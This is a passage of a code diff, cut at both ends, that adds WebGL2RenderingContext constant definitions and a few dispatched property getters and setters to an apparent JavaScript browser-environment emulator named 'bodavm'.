"COPY_WRITE_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36663 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35345 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35368 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35369 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35370 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35371 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35373 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35374 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35375 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35376 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35377 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35379 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 35380 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", { + configurable: false, + enumerable: true, + writable: false, + value: 35382 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35383 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35384 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 35386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35387 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35388 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 35389 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35390 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35391 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35392 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", { + configurable: false, + enumerable: true, + writable: false, + value: 35394 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 35395 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35396 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", { + configurable: false, + enumerable: true, + writable: false, + value: 35398 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 4294967295 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37154 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 37157 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 37137 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 37138 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 37139 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 37140 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", { + configurable: false, + enumerable: true, + writable: false, + value: 37141 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", { + configurable: false, + enumerable: true, + writable: false, + value: 37142 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 37143 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37144 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37145 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", { + configurable: false, + enumerable: true, + writable: false, + value: 37146 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", { + configurable: false, + enumerable: true, + writable: false, + value: 37147 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", { + configurable: false, + enumerable: true, + writable: false, + value: 37148 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", { + configurable: false, + enumerable: true, + writable: false, + value: 37149 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", { + configurable: false, + enumerable: true, + writable: false, + value: 35070 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", { + configurable: false, + enumerable: true, + writable: false, + value: 35887 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36202 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35097 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", { + configurable: false, + enumerable: true, + writable: false, + value: 36975 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 36255 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", { + configurable: false, + enumerable: true, + writable: false, + value: 36386 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", { + configurable: false, + enumerable: true, + writable: false, + value: 36387 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", { + configurable: false, + enumerable: true, + writable: false, + value: 36388 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36389 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 37167 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", { + configurable: false, + enumerable: true, + writable: false, + value: 36203 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", { + configurable: false, + enumerable: true, + writable: false, + value: 33503 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", { + configurable: false, + enumerable: true, + writable: false, + value: -1 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37447 +}); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferWidth", { + configurable: true, + enumerable: true, + get: function drawingBufferWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferHeight", { + configurable: true, + enumerable: true, + get: function drawingBufferHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferColorSpace", { + configurable: true, + enumerable: true, + get: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_get", arguments); + }, + set: function drawingBufferColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "unpackColorSpace", { + configurable: true, + enumerable: true, + get: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_get", arguments); + }, + set: function unpackColorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 256 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 1024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", { + configurable: false, + enumerable: true, + writable: false, + value: 16384 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 768 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", { + configurable: false, + enumerable: true, + writable: false, + value: 776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", { + configurable: false, + enumerable: true, + writable: false, + value: 32774 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32777 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 34877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32778 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", { + configurable: false, + enumerable: true, + writable: false, + value: 32779 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", { + configurable: false, + enumerable: true, + writable: false, + value: 32969 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32970 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32769 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32770 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32771 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", { + configurable: false, + enumerable: true, + writable: false, + value: 32772 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32773 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 34963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35040 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35044 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", { + configurable: false, + enumerable: true, + writable: false, + value: 35048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34660 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 34661 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", { + configurable: false, + enumerable: true, + writable: false, + value: 34342 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", { + configurable: false, + enumerable: true, + writable: false, + value: 1028 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1029 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", { + configurable: false, + enumerable: true, + writable: false, + value: 1032 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 3553 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2884 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", { + configurable: false, + enumerable: true, + writable: false, + value: 3042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", { + configurable: false, + enumerable: true, + writable: false, + value: 3024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2960 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 2929 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", { + configurable: false, + enumerable: true, + writable: false, + value: 3089 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", { + configurable: false, + enumerable: true, + writable: false, + value: 32823 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32926 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 32928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", { + configurable: false, + enumerable: true, + writable: false, + value: 1280 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 1281 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1282 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", { + configurable: false, + enumerable: true, + writable: false, + value: 1285 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", { + configurable: false, + enumerable: true, + writable: false, + value: 2304 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", { + configurable: false, + enumerable: true, + writable: false, + value: 2305 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 2849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 2885 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 2886 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2928 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2930 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2931 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2932 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 2961 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 2962 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2964 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 2965 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 2966 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 2967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2963 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 2968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34816 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34817 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34818 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", { + configurable: false, + enumerable: true, + writable: false, + value: 34819 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", { + configurable: false, + enumerable: true, + writable: false, + value: 36003 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36004 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 36005 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", { + configurable: false, + enumerable: true, + writable: false, + value: 2978 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", { + configurable: false, + enumerable: true, + writable: false, + value: 3088 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", { + configurable: false, + enumerable: true, + writable: false, + value: 3106 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", { + configurable: false, + enumerable: true, + writable: false, + value: 3107 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3317 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 3333 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 3379 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", { + configurable: false, + enumerable: true, + writable: false, + value: 3386 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3408 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3410 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3411 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3412 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3413 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3414 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", { + configurable: false, + enumerable: true, + writable: false, + value: 3415 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", { + configurable: false, + enumerable: true, + writable: false, + value: 10752 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", { + configurable: false, + enumerable: true, + writable: false, + value: 32824 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 32873 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', 